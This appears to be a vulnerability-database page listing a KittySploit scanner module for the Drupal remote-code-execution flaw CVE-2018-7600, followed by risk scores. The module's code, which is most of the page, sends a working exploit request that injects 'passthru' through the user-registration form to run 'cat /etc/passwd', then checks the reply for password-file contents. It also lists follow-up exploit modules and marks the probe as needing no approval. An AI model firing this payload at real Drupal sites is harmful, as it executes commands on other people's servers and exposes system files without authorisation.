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Drupal - Remote Code Execution Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote attackers can execute arbitrary code in Drupal due to issues in multiple subsystems.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Drupal before 7."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Drupal - Remote Code Execution Detection',
        'description': 'Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'modules': [
            'exploits/http/drupal_rce',
        ],
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'drupal', 'rce', 'kev', 'vulhub', 'intrusive', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'exploits/multi/http/drupal_cve_2018_7600_rce',
                    'exploits/http/drupal_rce',
                ],
            },
        },
        'references': [
            'https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-7600',
            'https://www.drupal.org/sa-core-2018-002',
            'https://groups.drupal.org/security/faq-2018-002',
            'http://www.securitytracker.com/id/1040598',
        ],
        'cve': 'CVE-2018-7600',
    }

    def run(self):
        path = '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Accept': 'application/json', 'Referer': '{{Hostname}}/user/register', 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'multipart/form-data; boundary=---------------------------99533888113153068481322586663'}, data='-----------------------------99533888113153068481322586663\nContent-Disposition: form-data; name="mail[#post_render][]"\n\npassthru\n-----------------------------99533888113153068481322586663\nContent-Disposition: form-data; name="mail[#type]"\n\nmarkup\n-----------------------------99533888113153068481322586663\nContent-Disposition: form-data; name="mail[#markup]"\n\ncat /etc/passwd\n-----------------------------99533888113153068481322586663\nContent-Disposition: form-data; name="form_id"\n\nuser_register_form\n-----------------------------99533888113153068481322586663\nContent-Disposition: form-data; name="_drupal_ajax"\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        header_any = ('application/json',)
        body_regexes = ('root:.*:0:0:',)
        if (any(m in headers for m in header_any)) and (any(re.search(rx, body) for rx in body_regexes)):
            self.set_info(severity='critical', reason='Drupal - Remote Code Execution detected', path=path)
            return True
        return False

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05 Oct 2026 14:20Current
8.9High risk
Vulners AI Score8.9
CVSS 27.5
CVSS 3.19.8
EPSS0.99991
SSVC
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